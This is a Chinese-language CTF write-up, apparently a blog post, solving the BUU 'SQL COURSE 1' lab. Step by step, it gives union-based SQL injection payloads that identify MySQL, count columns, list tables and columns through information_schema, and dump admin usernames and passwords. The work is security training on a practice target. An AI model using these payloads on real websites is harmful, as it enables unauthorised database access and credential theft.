【CTF练习】BUU SQL COURSE 1

首先根据题目sql,那么我想着肯定考的是sql注入吧,那么页面显示有4个可点击,
在这里插入图片描述

登录(尝试1)

我尝试了弱口令、还有sql注入单引号等等,都是没有反应(感觉没有突破口这里)
在这里插入图片描述

热点列表(尝试2)

点击三个热点,我在bp发现了熟悉的参数
在这里插入图片描述
但是呢这个和页面显示的不同
在这里插入图片描述
在network里面就可以打开我们所需要的网址
在这里插入图片描述

1.判断数据库类型

因为不同的内置的函数和结构都不同,所以一开始要确定数据库来确定payload。

数据库类型特有的系统表
OracleSYS.USER_TABLES
SQL ServerSYSOBJECTS
MySQL(MySQL版本在5.0以上)INFORMATION_SCHEMA.TABLES
AccessMSYSOBJECTS

接下来用以下语句进行拼接看返回状态判断是什么数据库

http://85f5cea3-d3ec-4f7d-a9fe-d3f020b1c2da.node5.buuoj.cn:81/backend/content_detail.php?id=1 and (select count(*) from INFORMATION_SCHEMA.TABLES)>0 and 1=1

这个回显正常,那么就是mysql了

2.判断参数数据类型(闭合方式)

判断是字符型还是数值型,
在这里插入图片描述

' and '1'='1 和and 1=1

第一个不回显,但是第二个回显了,那么应该是数值型,然后又试了下 and 1=2不回显,那么就找到注入点啦!

3.判断字段数

因为这个是数值型所以就直接order by num #,如果是字符型就 ’ (闭合)or 1=1 后面加上order的payload
在这里插入图片描述
2已经最大啦,3的时候就已经没有回显了,所以这个表共2个字段

4.确定字段的显示位置

id=-1 的使用是为了确保原始查询返回一个空集,从而避免与注入部分有重叠的数据。这样,注入的结果就可以完全替代原始查询的结果

 id=-1 union select 'first','second'

在这里插入图片描述
可以看到title是1,content是2

5.获取Current 数据库

因为上一步可以看到union确实可以显示,那么就用这个爆出

?id=-1 union select 1,database()

在这里插入图片描述
可以得出数据库名字叫做news

6.获取数据库中的表

-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #

在这里插入图片描述

7.获取表中的字段名

-1 union select 1, group_concat(column_name) from information_schema.columns where table_name='admin' #

在这里插入图片描述
wow 熟悉的答案继续继续

8. 爆出账号密码

这是注入的部分。UNION SELECT 用于将两个查询的结果合并。在这里,第一个查询是原始查询的占位,返回一个空结果集。第二个查询从 admin 表中选择了 username 和 password 列,并使用 concat 函数将它们连接在一起,用冒号 : 分隔。

?id=-1 UNION SELECT 1, concat(username, 0x3a, password) FROM admin

在这里插入图片描述

FLAG!

耶终于写出来了,我真的太菜了。菜就要多练
在这里插入图片描述


加油加油噢

  • 8
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值